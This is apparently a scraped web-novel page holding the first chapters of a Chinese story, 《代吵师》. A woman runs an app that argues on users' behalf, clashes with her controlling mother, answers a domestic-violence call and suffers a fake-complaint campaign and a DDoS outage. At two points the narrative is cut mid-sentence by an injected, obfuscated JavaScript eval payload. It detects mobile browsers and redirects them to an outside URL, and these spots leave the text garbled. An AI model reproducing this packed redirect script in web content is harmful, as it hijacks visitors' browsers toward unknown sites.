《代吵师》 1. 除夕夜的订单 窗外的烟花炸开时,徐寄遥正盯着屏幕上第305条订单发呆。 “以德服人”的账号下,一条新消息弹了出来: 【客户ID:不想过年】 【订单类型:代吵】 【诉求:我妈又安排相亲了,第18次。她说大过年的你别扫兴,我说你让我去跟一个陌生人吃饭才是扫我的兴。然后她哭了,现在全家都骂我不懂事。我需要有人替我告诉她:我的婚姻是我自己的事。】 【紧急程度:★★★★★】 徐寄遥看了一眼时间。22:47,农历腊月三十,2025年的除夕夜。 她把手机放到一边,端起已经凉透的咖啡。 杯子是白色的,上面印着四个字,以德服人。那是应宽去年送她的生日礼物,当时他还不知道这四个字会成为她在这个APP里的账号名。 “第几单了?”一个声音从身后传来。 应宽端着一盒饺子走进来,黑框眼镜后的双眼带着明显的黑眼圈。 他把饺子放在桌上,顺手拿起徐寄遥的咖啡杯,皱眉,然后转身直接拿去厨房倒了。 “喂!”徐寄遥来不及阻止。 “凉的,别喝了,”他递来一罐放在热水加温过的罐装咖啡,“凑合喝热的。” 徐寄遥接过温热的咖啡罐,没有道谢。曾经同公司同项目七年的合作默契让他们之间早就不需要这些客套。 “305单,”她说,“从早上10点到现在。” 应宽吹了吹手里的饺子,眉头微挑:“服务器负载78%,照这个速度,零点之前可能会破500。” “能撑住吗?” “你这是在质疑一个在独角兽公司干了十年的首席程序猿,”他咬了一口饺子,白菜猪肉的,“不过说真的,我没想到大年三十会有这么多人下单。” 徐寄遥没有回答。 她盯着屏幕上那条“不想过年”的订单,手指在桌面上轻轻敲击。 工作室里只有两个人的呼吸声,和窗外隐隐约约的鞭炮声。 这个地方是应宽找的,一个老小区的顶层,200多平米的三室一厅,改成工作室,月租四千。房东是个老太太,听说他们是创业做APP的,特意嘱咐“别搞传销就行”。 “不回你妈消息?”应宽突然问。 徐寄遥的手机在桌上亮了一下,又暗了。那是何久红的微信消息。 “不回。” “她给你发什么了?” “你需要知道吗?” 应宽耸耸肩,继续吃饺子。 他知道徐寄遥的脾气,不想说的事情谁也问不出来。但他也知道何久红的战斗力,已经给女儿发了一整天消息,这位母亲的毅力值得敬佩。 手机又亮了。 “我回个电话。”徐寄遥站起来,拿起手机走向阳台。 应宽“嗯”了一声,继续盯着他的一排监控面板。 / 阳台上很冷。 徐寄遥只穿了一件薄毛衣,但没回去拿外套。她需要冷空气让自己清醒。 电话响了三声,那边接了。 “遥遥!” 何久红的声音穿透力极强,即使隔着电话,徐寄遥都能想象出母亲此刻的表情,眼睛瞪大,嘴角上扬,表演出一个慈母应有的所有姿态。 “你终于回电话了!妈妈给你发那么多消息,你怎么不回?你知不知道今天是什么日子?除夕!你一个人在那边干什么?吃饭了没有?吃的是不是外卖?我就知道你肯定不好好吃饭!” “妈,”徐寄遥打断她,“有什么事?” 电话那头顿了顿,然后是一声夸张的叹息:“我能有什么事?还不是关心你!你看看你,32岁了,一个人在外面漂,过年都不回家!你让亲戚们怎么看我?今天你姨打电话,说你表妹都怀二胎了!二胎!你呢?连个对象都没有!” 徐寄遥靠在阳台栏杆上,看着楼下的万家灯火。烟花时不时在夜空中炸开,照亮她面无表情的脸。 “妈,我在工作。” “工作工作,你就知道工作!你那个什么APP,代吵?帮人吵架?这是什么正经工作?我跟你爸说,你女儿搞这个,他都不好意思跟老同事提起!你知不知道人家问起来,我怎么说?我说我女儿是搞IT的?那是好听的说法,难听的说法就是……” “妈,”徐寄遥再次打断她,“我的APP今天接了300多单,就是说我在帮300多个人解决他们的问题,这还不够正经吗?” 电话那头沉默了两秒。徐寄遥知道母亲在酝酿更猛烈的攻击。 果然。 “解决问题?你帮别人解决问题,你自己的问题呢?我告诉你,你王阿姨给你介绍了一个公务员,有房有车,大你三岁,条件特别好!明天中午,万和饭店,你必须去!” “不去。” “为什么?” “我有工作。” “除夕不回家,初一还工作?你那是什么工作?比终身大事还重要?” 徐寄遥深吸一口气。冷空气灌进肺里,有点疼。 “妈,我的终身大事,是我自己的事,你不需要操心。” “我不操心谁操心?我是你妈!” “所以你就可以控制我?” “我这是为你好!” “为我好?”徐寄遥的声音终于有了一丝波动,“你从小就说为我好,为我好让我学钢琴,我不喜欢也要学,为我好逼着我考名校,我考上了,为我好又逼着我去相亲,从我22岁相到32岁,你安排了快二十个吧,妈,你到底什么时候才能明白,你的为我好,对我来说是什么?” 电话那头沉默了。 徐寄遥脑海中闪过一丝幻想,母亲终于听进去了……然后她听到何久红开始哭。 那种哭不是嚎啕大哭,是一种生硬的抽泣。这是何久红的拿手好戏,她的撒泼打滚,就是卖惨装可怜让你觉得自己是个混蛋。 “遥遥,妈真的都是为了你好啊,你怎么就不明白呢?你一个人在外面,妈担心你啊,你小时候多听话,现在怎么变成这样了!” 徐寄遥闭上眼睛。 她想起2015年那个夏天,母亲在亲戚聚会上说的那句话,“以后没人要”。 那年她22岁,刚毕业,拒绝了第九次相亲。 那句话像一根刺,扎在她心里十年。不致命,但永远隐隐作痛。 “妈,我还有工作,”她说,“明天中午的相亲,我不会去,你如果继续这样,我会物理隔离。” 物理隔离,这四个字说出来的时候,徐寄遥自己都愣了一下。这是她第一次对母亲用这个词。 何久红的抽泣声停了。 “你说什么?” “物理隔离,”徐寄遥重复了一遍,“我会换个城市,换手机号,你找不到我,赡养费我会按时打给你,法律规定多少就是多少,但其他的,到此为止。” 电话那头死一般的寂静。 “你这个不孝女!” 然后是忙音。 何久红挂断了。 徐寄遥站在阳台上,盯着手机屏幕上那个通话结束的界面。她的手有点抖,不知道是冷的,还是别的什么。 她欠了银行三十万。 从一个灵感到落地运营,创业快两年了。 代吵APP上线31天,日均订单从第一天的17单,涨到今天的305单。 但收入? 用户免费试用,真正的收费模式还没开启。服务器、带宽、应宽的工资,虽然是象征性的,都在消耗她最后的积蓄。 三十万,说多不多,说少不少。但足够理由让她在这个除夕夜,和一个单身三十多年的技术宅一起吃外卖饺子。 远处又炸开一朵烟花。红的绿的,挺好看。 / 回到工作室的时候,应宽正对着屏幕皱眉。 “出事了?”徐寄遥坐回位置,顺手拿起咖啡罐,还是温的。 “也不算,”应宽指着监控面板,“这个订单有点奇怪。” “什么订单?” “ID是老糊涂,下单时间是今天下午三点,订单内容,”他顿了顿,“是骂醒我自己。” 徐寄遥的手停在半空。 “骂醒我自己?” 她凑过去看屏幕。 【订单ID:老糊涂】 【下单时间:2025-01-28 15:23:47】 【订单类型:代吵】 【诉求目标:我自己】 【诉求内容:帮我骂醒我这个老糊涂。女儿32了不结婚,都是我的错,我不该逼她,不该骂她,但我改不了,我需要有人替我骂自己,骂醒了,我就能改了。 【备注:如果能让我女儿看到,就更好了】 徐寄遥盯着那个订单,沉默了整整三十秒。 应宽在旁边观察她的表情,没有说话。 “IP地址。”徐寄遥开口,声音有点哑。 “查了,”应宽推了推眼镜,“你家那个区。” 徐寄遥的手握紧了咖啡罐。 何久红。 是她。 母亲在用她的APP,下了一个骂她自己的订单。 这算什么?表演?道歉?还是又一次的控制? “接吗?”应宽问。 “不接,”徐寄遥咬了咬嘴唇,声音平静,“给她发自动回复。” “自动回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239908|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复的哪一条?” “第七条。” 应宽点点头,开始操作。 【代吵APP的自动回复第七条】 【尊敬的客户,代吵师不接“让父母痛苦”或“自我惩罚”类的订单。如果您需要解决家庭矛盾,请详细描述具体问题,我们将为您匹配最适合的代吵师。感谢您的信任。】 消息发送出去。 一分钟后,徐寄遥的手机亮了。 是一条短信,来自何久红。 内容只有四个字:明天相亲。 徐寄遥盯着那四个字,嘴角浮起一个极淡的、说不出是什么意味的笑。 应宽探头看了一眼:“又相亲?” “嗯。” “这次是什么时候?” “周六12点。”徐寄遥把手机扔到一边。 应宽沉默了一下,然后说:“你妈挺关心你的。” “这叫关心?”徐寄遥冷笑,“这叫控制。” 窗外的烟花更密集了。零点快到了。 应宽看了看监控面板:“恭喜徐总,订单破500了。” 屏幕上,数字定格在502。 徐寄遥端起咖啡罐,喝了一口。凉的。 “明天给你升级服务器的套餐,”她说,“用这个月的收入。” “这个月有收入吗?” “会有的。” 应宽看着她,忽然笑了。这个话少的人笑起来的时候,眼角有点皱纹,但很好看。 “行,我信你。”他说。 / 零点整,新年钟声敲响。 窗外的烟花把整个天空都照亮了。徐寄遥站起来,走到窗前。 应宽在她身后,收拾着吃剩的饺子盒。 “新年快乐。”他说。 “新年快乐。” “许个愿?” 徐寄遥想了想,摇摇头。 “那想个目标?” “目标?”她看着窗外漫天的烟花,语气很平静,“让这个APP活过今年,把欠银行的三十万还了,然后……” 她停顿了一下。 “然后?” 徐寄遥没有回答。 她的手机又亮了。是一条新订单提醒。 在这个举国欢庆的零点,依然有人睡不着,依然有人需要帮助,依然有人在家庭矛盾的漩涡里挣扎。 她低头看那条新订单: 【客户ID:无处可逃】 【订单类型:代吵】 【诉求:我爸喝醉了,在砸门。他说今晚必须给我个教训,我妈躲在房间里哭,我不敢开门。我知道今天是除夕夜,但求求你们,有没有人能帮帮我?】 【紧急程度:★★★★★(我听到他上楼的声音了) 】 徐寄遥的手指悬在屏幕上方。 窗外,烟花还在绽放。 她回头看了应宽一眼。 应宽已经坐回电脑前,手指在键盘上飞快敲击: “IP地址定位完成,在东城区南岳小区。正在调取该区域的报警电话记录,有三次家暴报警记录。同地址。” 他的声音很平静,像在汇报工作进度。 徐寄遥点点头,开始打字。 回复框里,一行字出现: “客户‘无处可逃’,您的订单已被‘以德服人’接单。请保持电话畅通,我们将在3分钟内与您联系。现在请告知你父亲在哪个房间,你躲在哪个房间,门锁是否完好。不要出声,打字回复。” 发送。 她戴上那个耳钉形的降噪耳机,调整了一下桌子上麦克风的位置。 “准备干活了。” 应宽打开了他的灰色工具箱。 那里面有他私下开发的十几个追踪和信息分析工具,虽然徐寄遥明令禁止使用黑客技术,但紧急避险的时候,她偶尔会睁一只眼闭一只眼。 “警方那边?”他问。 “同步信息,如果情况升级,肯定要联系他们去现场。” “明白。” 徐寄遥深吸一口气。 新年的第一个订单,是家暴求助。 窗外的烟花声渐渐稀疏。零点已过,除夕夜结束了。 但对很多人来说,问题才刚刚开始。 而她,就是那个帮人解决问题的人。虽然她自己也有很多问题,至今无解。 手机屏幕亮起,客户回复: “我在卧室,锁着门。他在二楼楼梯,正在上来。我妈妈还在楼下,她刚才开了门,现在没声音了,我不知道她怎么样了。” 徐寄遥按下通话键。 “别怕,”她说,声音平稳得像在播报天气预报,“现在,听我指挥。” 2. 一根刺 电话是在凌晨三点打来的。 徐寄遥刚处理完“无处可逃”的订单,女孩的父亲在楼梯上滑倒了,酒醒了一半,被随后赶到的警察带走醒酒。 她和应宽又在工作室待了两个小时,确认女孩和母亲安全,才各自回房间休息。 工作室是合租的,三室一厅,应宽住一间,徐寄遥住一间,剩下中间的一间暂时放些杂物。这是他们创业一年多来的标配住宿,能省则省,把钱都砸在项目上。 手机震动的时候,徐寄遥正在做梦。 梦里她八岁,坐在钢琴前,手指僵硬地按着琴键。母亲站在身后,手里拿着一把塑料尺子。 “错了,”尺子敲在肩膀上,“重来。” 她又按了一遍。 “还是错,你怎么这么笨?” 尺子又敲下来。不疼,但那种屈辱感,二十多年后依然清晰。 手机还在震。 徐寄遥睁开眼,摸到手机,看到屏幕上跳动的名字,“妈”。 凌晨三点。 她按掉,翻个身继续睡。 手机又震。 再按掉。 第三次响起的时候,徐寄遥坐起来,盯着那个名字看了五秒,然后接通。 “喂。” “你这孩子怎么回事,挂我电话啊?”何久红的声音尖锐刺耳,在寂静的凌晨格外清晰,“你居然挂妈妈的电话?” 徐寄遥看了一眼时间。 3:17。 “妈,现在是凌晨三点。” “凌晨三点怎么了?我气到现在睡不着!你知道我为什么睡不着吗?被你气的!” 徐寄遥闭上眼,深吸一口气。她告诉自己,不要吵,不要吵,凌晨三点吵架没有任何意义。 但她知道,何久红不会这么想。在母亲的世界里,没有不合适的时间,只有你必须接我电话。 “你发的那个自动回复是什么意思?”何久红继续输出,“什么‘代吵师不接让父母痛苦的订单’?我是你妈妈!你不是喜欢跟我吵架吗,我下个单让你来骂我,照顾你生意,你还发这种官话打发妈妈?” “妈,那是系统自动……” “别跟我说系统!你那个APP是你开的,系统也是你定的!怎么回复还不是你说了算!你不就是嫌我烦吗?行!妈以后再也不管你了!” 徐寄遥没有说话。她太熟悉这套话术了,先指责,再委屈,最后用“再也不管你”来逼你低头。 “喂?遥遥,妈在跟你说话!” “我在听。” “你就这么听着?你要意识到你的错啊!” “啊?妈,我错什么了?” “你、”何久红卡了一下,然后换了个方向,“你不回家过年!你一个人在外面漂!你32岁了还不结婚!你搞那个什么代吵APP,帮别人吵架,你自己家的矛盾不管!你说你错什么了?” 徐寄遥睁开眼睛,看着天花板。 天花板上有一块水渍,形状像一只兔子。她盯着那只兔子,语气平静得近乎冷漠: “妈,我的APP上线31天,接了500多单,没收一分钱,我欠应宽的工资已经三个月没发了,我明天、不对,是今天,今天要去见一个投资人,如果谈不下来,下个月服务器就续不起了。” 她顿了顿。 “妈,你觉得在这个情况下,我应该在哪儿?在家里陪你过年?还是去相亲?” 电话那头突然安静了。 然后何久红说:“你怎么不早说?” 徐寄遥冷笑了一下。这是典型的何久红式关心,永远在指责,偶尔流露一点真实,但很快就会绕回自己身上。 果然,下一句是: “妈妈早就说你那个APP不靠谱!什么代吵,一听就不正经!你看人家王阿姨的儿子,在税务局上班,稳稳当当的,多好啊!你啊!你要听妈妈的话啊!” “妈,”徐寄遥打断她,“我累了,三点多了,我要睡了。” “妈还有话要说!” “拜拜。” 徐寄遥挂断电话,把手机调成飞行模式,扔到一边。 她盯着天花板上的兔子,脑子里却浮现出另一段记忆。 2015年,夏天。 / 那是她大学毕业的第二年,22岁,刚进互联网公司做产品助理。工资不算很高,但够花,偶尔和朋友出去吃饭,生活简单而充实。 唯一的烦恼是相亲。 何久红从她毕业那天就开始张罗。 先是托亲戚介绍,然后是朋友,然后是朋友的朋友。 徐寄遥拒绝了一次,两次,三次……到第八次的时候,她已经学会用加班当借口。 第九次是在一个亲戚的饭局上。 那天是表舅的儿子结婚,全家族的人都到了。 何久红穿着她最讲究的藏蓝色套装,头发精心打理过,涂着口红,笑得得体又精致。 徐寄遥坐在她旁边,穿着一件牛仔衬衣和牛仔裤。她刚下班赶过来。 “哎,寄遥啊,”三姨凑过来,压低声音但音量足够让半桌人听见,“有对象了没?” 徐寄遥礼貌地笑笑:“还没,我才刚毕业。” “哎哟,22了,该找了,三姨有个同事,她儿子特别优秀,政府公务员,比你大几岁,要不介绍你们认识认识?” “谢谢三姨,我工作挺忙的,暂时不想……” “哎哟,忙什么忙,”三姨打断她,“女孩子工作那么拼干什么哦,找个好人家才是正经哟。” 何久红在旁边笑着点头:“就是嘛,我也这么说她,这孩子,就知道工作,还想当女强人。” 徐寄遥没有说话。她低头夹菜,假装没听见。 但何久红显然没打算放过她。 何久红端着酒杯,对着全桌亲戚,“我这个女儿啊,长相学历什么都好,就是太挑了,之前给她介绍了八个,八个都说看不上,都是条件很好的男孩子啊,有房有车有稳定工作,她就是不乐意。” 徐寄遥握着筷子的手紧了紧。 “妈。” “怎么?”何久红看她一眼,眼神里带着笑,但那笑是冷的,“你倒是说说,那些男孩子哪里不好?” 全桌人的目光都落在徐寄遥身上。 她感觉自己像一只被放在展台上的动物,任人评头论足。 “不是哪里不好,”她尽量保持语气的平静,“我才刚毕业,想要好好工作几年,现在不合适。” “不合适不合适,”何久红学着她的语气,“你跟谁合适?你说说看,你到底想找什么样的?这么大的人了,是不是还在做什么追星族,崇拜哪个男明星!” 亲戚们笑起来。那笑声里有关切,有好奇,但也有一种隐秘的、看热闹的兴奋。 徐寄遥的脸开始发烫。 “妈,什么猴年马月的事了,我没有。”小时候追过某男明星的事,要被何久红嚼一辈子。 “你就是眼光太高!”何久红放下酒杯,声音提高了一度,“我跟你说,女孩子过了二十五就不好找了,你还不抓紧,你看看你表姐,比你大两岁,孩子都两岁了,你呢?还不谈对象,你让我这张老脸往哪搁?” “妈,这是我自己的事。”徐寄遥有些急眼了,这么多人看着。 “你自己的事?”何久红彻底放下筷子,转向她,“我是你妈!我辛辛苦苦把你养大,你就这么报答我?” 徐寄遥的胸口开始发闷。 她知道自己应该忍住,不要在这种场合顶嘴。但她22岁,年轻气盛,心里那根刺已经被扎了太多次。 “所以呢?”她抬起头,看着母亲,“你养我长大,就是为了让我嫁人?” 空气突然安静了。 何久红的表情僵住。那张精致的脸上浮现出一种徐寄遥从未见过的神色。 不是愤怒,不是伤心,是一种近乎扭曲的、被戳穿的羞恼。 然后她说出那句话。 “嫁人?我不跟你张罗,你以为你嫁得出去?” 何久红站起来,居高临下地看着她,声音响彻整个包间: “你妈我给你介绍了八个,八个你都看不上,你以为你是谁?你以为你条件多好?我告诉你,不趁着年轻找个条件好的,你再这样下去,就没有人要了!” 没有人要了。 这五个字像耳光一样抽在徐寄遥脸上。 包间里静得能听见空调的嗡鸣声。亲戚们都低着头,假装在吃东西。 徐寄遥站起来。 她没有哭。她也不知道自己为什么不哭。 她只是站起来,对表舅说了一声“我先走了”,然后拿起包,走了出去。 走出酒店的时候,外面下着雨。 夏天的暴雨,说下就下。她站在酒店门口的雨棚下,看着雨水砸在地上,溅起白色的水花。 不知道过了多久,有人从背后拍了拍她的肩膀。 是父亲。 徐士朋站在她身后,手里拿着一把伞。 他没说话,只是把伞递给她。 “爸,”她开口,声音沙哑,“我妈说的是真的吗?我真的那么差?” 徐士朋沉默了。然后他说: “遥遥,你很优秀。” 就这么简单的一句话。 那天晚上,回家后徐寄遥把自己关在房间里,用被子蒙着头哭了很久。 从那以后,她再也没有为这件事哭过。 / 回忆像潮水一样退去。 徐寄遥仍然躺在床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239909|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盯着天花板上那只兔子形状的水渍。 手机在枕头边安静地躺着。飞行模式。凌晨四点。 她知道今天还要去见投资人。 她想起父亲。想起他的沉默,和他为数不多的几句话。 徐士朋是个不善言辞的人。 做了一辈子中学教师,教数学,从普通教师做到副校长。但在家里,他总是话最少的那一个。 何久红骂他的时候,他听着。何久红骂徐寄遥的时候,他在旁边沉默地看着,眼神里有心疼,但很少插嘴。 徐寄遥小时候恨过他的沉默。她觉得他懦弱,不敢保护她。 直到很多年后她才明白,沉默是父亲的生存之道。 何久红的火力是固定的,如果徐士朋开口,会把火力引到自己身上,然后父女俩一起挨骂,没完没了。 徐寄遥翻了个身,摸到手机,犹豫了一下,关掉了飞行模式。 一条新消息来自应宽,凌晨四点整: “睡不着的话,我煮了面。” 她愣了一下,然后轻轻笑了。 这个技术宅,凌晨四点不睡,煮面。 她翻身起床,披上外套,推开门。 客厅里亮着一盏小灯。 应宽坐在餐桌前,面前摆着两碗面,汤清白面,上面卧着一个荷包蛋。他盯着笔记本电脑的屏幕,手指还在键盘上敲着什么。 “你不睡?”徐寄遥走过去,在他对面坐下。 “服务器有点波动,我调了一下。”应宽合上电脑,推给她一碗面。 徐寄遥低头吃面。面是清汤的,看起来只放了点葱花和盐,可味道就是很好。 该说不说,这个技术宅,厨艺方面确实有些天赋。 “你妈又打电话了?”应宽问。 “嗯。” “说什么?” 徐寄遥想了想,挑了一个不太重要的说:“问我为什么不接她那个骂自己的订单。” 应宽沉默了一下,然后说:“你妈挺有意思的,还会用代吵APP。” 徐寄遥差点被面呛到。 “应宽,”她放下筷子,看着他,“你这是在安慰我,还是在损我?” “实话实说。”应宽推了推眼镜。 徐寄遥盯着他看了几秒,然后笑了。 这一次是真的笑。 “谢谢。” “谢什么?” “谢谢你凌晨四点煮面我吃。” “嗐,顺手的事儿。”应宽说。 他低下头,继续吃面。灯光打在他的侧脸上,黑眼圈很明显,但嘴角有一点点上扬的弧度。 “吃完了去睡,”他说,“投资人约的九点半,你总不想顶着俩黑眼圈去见人。” “你呢?” “我再盯一会儿服务器。” 徐寄遥没有劝他。 吃完面,她把碗端到厨房洗了,然后站在厨房门口,看着应宽的背影。这个男人一米八五,进出房门总是不小心碰到头。 “应宽。” “嗯?” “我们一定能把这个APP做起来,对吧?” 应宽转过头,看着她。他的眼睛藏在镜片后面。 “能,”他说,“我们一定能。” / 早上八点,徐寄遥被闹钟叫醒。 她睡了不到三个小时,但精神状态还不错。 冲了个澡,换上她为数不多偏职业的衣服,一套简约的黑色西服套装。化了妆,头发还是齐肩短发,用发胶稍微打理了一下,露出额头,看起来干练利落。 右耳的耳钉形降噪耳机,她从来不摘。那是她的标志,也是她的护身符,戴上它,就进入作战状态。 应宽已经换好了衣服。万年不变的深色T恤加工装裤,头发还是乱的,但至少把黑框眼镜擦亮了。 “投资人那边确认了,”他拿着手机,“九点半,星巴克,对方叫周敏,鲲鹏资本的投资经理,三十五岁,女。” 徐寄遥点点头。 “你紧张?”应宽问。 “不紧张,”徐寄遥拿起包,“紧张也没用,该来的总会来。” 出门前,她看了一眼手机。 何久红没再发消息。 她把手机揣进口袋,推开门。 外面阳光很好,是2025年大年初一的早晨。 小区里很安静,大部分人还在睡觉。只有几个老太太在楼下遛弯,看见她出来,多看了两眼。 徐寄遥迎着阳光往前走。 她想起应宽说的那句话,我们一定能。 她也想起何久红那句,没有人要了。 十年过去了,那句话还在。但它不再是一根刺,而是一块垫脚石。 她踩着它,走得更高。 3. APP的伦理边界 投资人没看上他们。 准确地说,是没看上“代吵”这个商业模式。 “徐小姐,我坦白说,”周敏搅动着面前的拿铁,妆容精致,语气职业,“你们这个APP,伦理风险太高了。” 徐寄遥坐直身体,保持微笑:“您具体是指?” “代吵,”周敏放下咖啡勺,“帮人吵架,这本身是激化矛盾,我们鲲鹏资本的投资理念是让世界更美好,你们这个项目,嗯……怎么说呢,有点像是在制造冲突。” 应宽在旁边推了推眼镜,想说话,被徐寄遥用眼神制止。 “周经理,”徐寄遥不紧不慢地说,“我理解您的顾虑,不过我们的核心原则恰恰是不制造对立,只解决矛盾,不是去帮客户吵架,而是用专业的方式帮客户表达诉求、维护权益,您可以理解为,数字时代的谈判专家。” 周敏笑了一下,那笑容很职业,也很疏离。 “谈判专家?徐小姐,谈判专家是调解矛盾,但你们做的是代人吵架,这中间的区别,你比我清楚。” 她站起来,拿起包。 “坦白说,你们的项目数据不错,上线31天订单破500,团队也有大厂背景,但是这个模式本身,我个人不太看好,除非你们转型做家庭调解类APP,否则我们不会投。” 她递过来一张名片。 “如果想转型,可以再联系我。” 说完,她走了。 徐寄遥盯着那杯没喝几口的拿铁,沉默了。 “她根本没听懂我们在做什么。”应宽在旁边说。 “她听懂了,”徐寄遥端起咖啡,喝了一口,已经凉了,“她只是不认同,在她的认知里,吵架等于冲突,冲突等于不好的东西,所以她需要一个和解、调解之类的概念来包装。” “但我们的核心是解决问题。” 徐寄遥放下咖啡杯,站起来。 “走吧,回去干活。” / 回到工作室,已经快十一点了。 应宽刚坐下,就看到后台弹出一条新消息。 【投诉内容如下:】 【投诉用户:一个父亲】 【投诉对象:代吵APP】 【投诉理由:你们这个APP教唆我女儿顶撞我!我女儿以前很听话,用了你们的APP之后,开始跟我顶嘴,还说什么我有独立人格、你要尊重我的边界。这些话是不是你们教的?你们这是在破坏家庭和谐!要求立刻下架APP,否则我报警!】 应宽看完,沉默了两秒,他点开用户的ID信息,进行了简单的IP追踪。 “徐寄遥。” “嗯?” “你来一下。” 徐寄遥听出他语气里的异常,起身走过去。应宽把屏幕转向她。 徐寄遥看完,眉头微微皱起。 “这是第一个投诉?” “对,”应宽点开投诉用户的ID信息,“上线31天,第一个正式投诉,但我查了一下这个用户的IP。” 他调出一张追踪图。 “IP地址显示,这个用户来自一家叫伯牙科技的公司。” 徐寄遥盯着那个公司名字,在脑子里快速搜索。 “伯牙科技?是做什么的?” “我查了,”应宽打开另一个页面,“成立于2020年,创始人叫杨亚波,做过电商、社交等多个项目,去年10月,他们上线了一款APP,叫……” 他顿了顿。 “和解大师。” 徐寄遥的眼睛眯了一下。 和解大师。 她知道这个APP。 上线比代吵早三个月,主打家庭和谐调解,广告铺天盖地。 她之前调研市场的时候下载过,试用了一下,发现所谓的调解其实就是模板化的和稀泥,让子女多体谅父母,让父母多理解子女,说了等于没说。 但人家的资金雄厚,用户量是代吵的几十倍。 “所以,”徐寄遥盯着屏幕,“和解大师的人在投诉我们?” “看起来是这样,”应宽继续往下翻,“不过这个投诉本身没什么,真正有意思的是后面。” 他点开投诉页面下方的支持列表。 “你看,这些点了‘支持’的用户。” 徐寄遥凑过去。 列表上有几十个用户头像,全是默认的灰色图标。 “有87个用户点了支持,”应宽说,“注册时间集中在今天早上八点到九点之间,IP地址分布在天南海北,北京、上海、广州、成都、乌鲁木齐……但是,你看他们的昵称。” 他把鼠标滑过几个ID: 用户78432901 用户78433015 用户78432788 …… “全是‘用户+八位数字’,而且数字连号,”应宽推了推眼镜,“典型的机器生成账号,人工注册不会这么整齐。” 徐寄遥沉默了五秒。 她脑子里快速闪过几个问题: 谁在投诉?表面是一个“父亲”,实际来自伯牙科技。 谁在支持?87个水军账号,批量注册。 目的是什么?制造民意,逼应用商店下架代吵APP。 背后是谁?伯牙科技,和解大师。 “应宽。”她开口。 “嗯?” “能追踪到这些水军账号的真实来源吗?” 应宽的手指在键盘上敲了几下,调出一个追踪界面。 “可以,需要一些技术手段,比如伪装成普通用户,进入他们注册账号的服务器,反向追踪IP。” 他顿了顿,补了一句:“这可能会踩到灰色地带。” 徐寄遥看着他:“有多灰?” “不算太黑,”应宽老实回答,“就是普通的反追踪技术,不会破坏他们的系统,只是看看数据,严格来说不算黑客,算……信息收集吧。” 徐寄遥想了想,摇头。 “先别动。” “为什么?” “我们现在什么都不知道,”徐寄遥坐回自己的椅子,“这个投诉来自伯牙科技,这是事实,但是,伯牙科技是一家正规公司,有上百号员工,投诉的可能只是一个普通员工,不一定是公司行为。” 应宽皱眉:“那些水军账号……” “水军账号是批量注册的,这是事实,”徐寄遥打断他,“不过,批量注册账号不一定是伯牙科技干的,也可能是第三方灰产,关键我们现在什么都没有,仅仅是手头这点线索,就贸然用技术手段去查,万一被发现,反而给了对方把柄。” 她喝了口咖啡,苦的。 “更重要的是,如果我们今天为了查一个投诉,就用了灰色手段,明天为了查另一个投诉,又用了更灰色的手段,那到最后,我们和那些躲在暗处的人有什么区别?” 应宽沉默了。 他知道徐寄遥说得对。 代吵APP的禁忌规则是他们一开始就定好的:不使用黑客技术,不伪造文件,不非法取证,不制造对立。 这是徐寄遥的底线,也是他愿意跟着她干的原因之一。 但他还是有点不甘心。 “那我们就这么干看着?什么都不做?” “谁说什么都不做?”徐寄遥放下咖啡杯,眼睛里有光,“我们做能做的,合法的。” 她站起来,走到白板前,拿起笔。 “第一步,收集证据,”她在白板上写下“1”,“把投诉内容、IP地址、水军账号的注册时间、昵称规律,全部截图存档,这是我们的底牌,以后用得上。” “第二步,写回应,”她写下“2”,“不针对这个投诉,而是发一个通用的声明,‘代吵APP始终坚持不制造对立、只解决矛盾的原则,欢迎用户监督’,不辩解,不否认,不激化。” “第三步,观察,”她写下“3”,“看这个投诉会不会被应用商店采纳,看有没有媒体跟进,看对方下一步出什么牌,我们现在不知道对方是谁,那就等他们自己跳出来。” 应宽看着白板上的三条,沉默了几秒。 然后他笑了。 “你写第二步的时候,语速到了220。” 徐寄遥愣了一下:“你又计时了?” “职业习惯,”应宽转回电脑前,“行,按你说的办。我先存档证据。” / 下午两点,证据存档完毕。 应宽把87个水军账号的截图、IP追踪记录、投诉内容全部打包,存进一个加密文件夹。 文件名是“证据-20250129”,密码只有他和徐寄遥知道。 “接下来呢?”他问。 “等,”徐寄遥盯着电脑屏幕,“看他们会不会继续动。” 话音刚落,电脑突然弹出一个提示框。 应宽看了一眼,表情变了。 “服务器负载在上升。” 徐寄遥快步走过去。监控面板上,服务器负载指数正以肉眼可见的速度爬升: 65%……72%……81%…… “什么情况?” “大量异常访问,”应宽的手指已经在键盘上飞舞,“每秒请求数从正常的两百多暴涨到三千多,而且还在涨。” 徐寄遥的脑子飞速转着。 DDoS攻击。(注1) 分布式拒绝服务攻击。用大量虚假请求挤爆服务器,让真正的用户无法访问。 这是互联网行业最常见的恶意攻击手段之一。 “能挡住吗?” “能,”应宽的声音很稳,“但需要时间,我们的防护是基础级的,应付小规模攻击没问题,但这次攻击流量很大。” 88%……93%……97%…… 监控面板上的数字跳到100%,然后屏幕一黑。 服务器宕机了。 代吵APP,无法访问。 徐寄遥盯着黑屏,沉默了三秒。 然后她拿起手机,打开代吵APP的客户端。 加载……加载失败……网络连接异常。 她放下手机,深吸一口气。 “是那个投诉的人干的?” “不确定,”应宽已经开始紧急恢复,“但可能性很大,投诉刚发,服务器就挨打,时间点太巧了。” 